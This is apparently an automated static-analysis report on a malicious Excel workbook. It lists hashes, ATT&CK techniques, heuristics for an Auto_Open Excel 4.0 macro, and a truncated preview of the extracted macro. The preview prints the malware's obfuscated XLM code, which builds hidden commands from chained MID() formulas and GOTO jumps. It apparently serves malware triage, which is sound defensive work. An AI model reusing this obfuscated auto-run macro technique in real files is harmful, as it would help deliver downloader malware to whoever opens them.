Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 599487d33925cb76…

MALICIOUS

Office (OLE)

329.5 KB Created: 2020-05-22 10:54:26 Authoring application: Microsoft Excel First seen: 2020-08-10
MD5: 04d913ad6ecc7229477b442a5d3d93ff SHA-1: 459f341d9a0e6813535c9d664c9d739523e63395 SHA-256: 599487d33925cb7663cf649ac8c32fdda672e9bfcc04ec471a1be95774131804
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 (XLM) macros, specifically an Auto_Open macro. This macro uses dangerous formula APIs, including the RUN function, indicating an intent to execute arbitrary code. The macro logic appears to be obfuscated by concatenating MID functions, likely to construct a command or URL for a second-stage payload. The presence of the Auto_Open macro and the use of the RUN function strongly suggest this is a downloader or initial execution stage for further malicious activity.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 39096 bytes
SHA-256: 68ba630575153f41b24784c981254a8c864a663544aa0ccf604e1ee8748b8548
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     38 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!GR46752 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,H1174,GOTO(L56583),""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,EZ2438,"FORMULA(MID(BH63704,12,1)&MID(CR18638,5,1)&MID(CR18638,2,1)&MID(HM38479,9,1)&MID(CR18638,3,1)&MID(CR18638,1,1)&MID(CR18638,16,1)&MID(HM38479,15,1)&MID(CR18638,19,1)&MID(CR18638,11,1)&MID(CR18638,14,1)&MID(CR18638,7,1)&MID(CR18638,15,1)&MID(CR18638,12,1)&MID(BH63704,16,1)&MID(BH63704,18,1)&MID(CR18638,1,1)&MID(HM38479,9,1)&MID(HM38479,18,1)&MID(BH63704,3,1)&MID(HM38479,10,1)&MID(BH63704,11,1)&MID(BH63704,2,1)&MID(BH63704,8,1)&MID(HM38479,17,1)&MID(HM38479,13,1)&MID(CR18638,3,1)&MID(CR18638,11,1)&MID(CR18638,16,1)&MID(CR18638,11,1)&MID(HM38479,9,1)&MID(CR18638,14,1)&MID(IR28140,4,1)&MID(BH63704,3,1)&MID(BH63704,5,1)&MID(BH63704,7,1)&MID(BH63704,8,1)&MID(BH63704,2,1)&MID(IR28140,6,1)&MID(BH63704,18,1)&MID(IR28140,4,1)&MID(BH63704,1,1)&MID(IR28140,6,1)&MID(HM38479,10,1)&MID(HM38479,13,1)&MID(HM38479,10,1),EZ2439)",""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,EZ2440,GOTO(X52802),""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,CX2787,GOTO(I20698),""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,EI2879,"FORMULA(MID(BH63704,12,1)&MID(CR18638,2,1)&MID(CR18638,14,1)&MID(CR18638,1,1)&MID(BH63704,16,1)&MID(BH63704,19,1)&MID(HM38479,9,1)&MID(CR18638,14,1)&MID(IR28140,4,1)&MID(BH63704,3,1)&MID(BH63704,5,1)&MID(HM38479,18,1)&MID(BH63704,3,1)&MID(BH63704,3,1)&MID(IR28140,6,1)&MID(BH63704,18,1)&MID(IR28140,4,1)&MID(HM38479,14,1)&MID(BH63704,1,1)&MID(BH63704,4,1)&MID(IR28140,6,1)&MID(HM38479,13,1)&MID(BH63704,1,1)&MID(BH63704,4,1)&MID(BH63704,4,1)&MID(HM38479,10,1),EI2880)",""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,EI2881,GOTO(J32571),""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,JQ3114,GOTO(FB49332),""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,BF3773,"FORMULA(MID(BH63704,12,1)&MID(BH63704,18,1)&MID(CR18638,8,1)&MID(CR18638,11,1)&MID(CR18638,15,1)&MID(CR18638,1,1)&MID(HM38479,9,1)&MID(CR18638,2,1)&MID(BH63704,16,1)&MID(CR18638,8,1)&MID(CR18638,15,1)&MID(CR18638,1,1)&MID(HM38479,10,1),FB49332)",""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,BF3774,GOTO(DT18705),""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,BJ7450,"FORMULA(MID(BH63704,12,1)&MID(CR18638,5,1)&MID(CR18638,2,1)&MID(HM38479,9,1)&MID(CR18638,3,1)&MID(CR18638,1,1)&MID(CR18638,16,1)&MID(HM38479,15,1)&MID(CR18638,19,1)&MID(CR18638,11,1)&MID(CR18638,14,1)&MID(CR18638,7,1)&MID(CR18638,15,1)&MID(CR18638,12,1)&MID(BH63704,16,1)&MID(BH63704,18,1)&MID(CR18638,1,1)&MID(HM38479,9,1)&MID(BH63704,2,1)&MID(HM38479,18,1)&MID(HM38479,10,1)&MID(HM38479,13,1)&MID(CR18638,3,1)&MID(CR18638,11,1)&MID(CR18638,16,1)&MID(CR18638,11,1)&MID(HM38479,9,1)&MID(CR18638,14,1)&MID(IR28140,4,1)&MID(BH63704,3,1)&MID(HM38479,18,1)&MID(BH63704,7,1)&MID(BH63704,7,1)&MID(HM38479,18,1)&MID(IR28140,6,1)&MID(BH63704,18,1)&MID(IR28140,4,1)&MID(BH63704,8,1)&MID(BH63704,5,1)&MID(IR28140,6,1)&MID(HM38479,10,1)&MID(HM38479,13,1)&MID(HM38479,10,1),BJ7451)",""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,BJ7452,GOTO(FK61293),""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,IK9570,"FORMULA("XYZ[\]^_`abcdefghij",EH15310)",""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,IK9571,GOTO(HX34325),""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,HB11054,"FORMULA("23456789:;<=>?@ABCD",BS6496)",""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,HB11055,GOTO(II50545),""
'  ak4nQ5ZJKVtcRaVp2iOGwKWVPrign,ID11908,"FORMULA(MID(BH63704,12,1)&MID(CR18638,2,1)&MID(CR18638,5,1)&MID(CR18638,8,1)&MID(CR18638,1,1)&MID(HM38479,15,1)&MID(BH63704,19,1)&MID(CR18638,1,1)&MID(CR18638,8,1)&MID(CR18638,1,1)&MID(CR18638,16,1)&MID(CR18638,1,1)&MID(HM38479,9,1)&MID(CR18638,14,1)&MID(IR28140,4,1)&MID(BH63704,1,1)&MID(HM38479,17,1)&MID(HM38479,17,1)&MID(BH63704,8,1)&MID(BH63704,5,1)&MID(IR28140,6,1)&MID(BH6
... (truncated)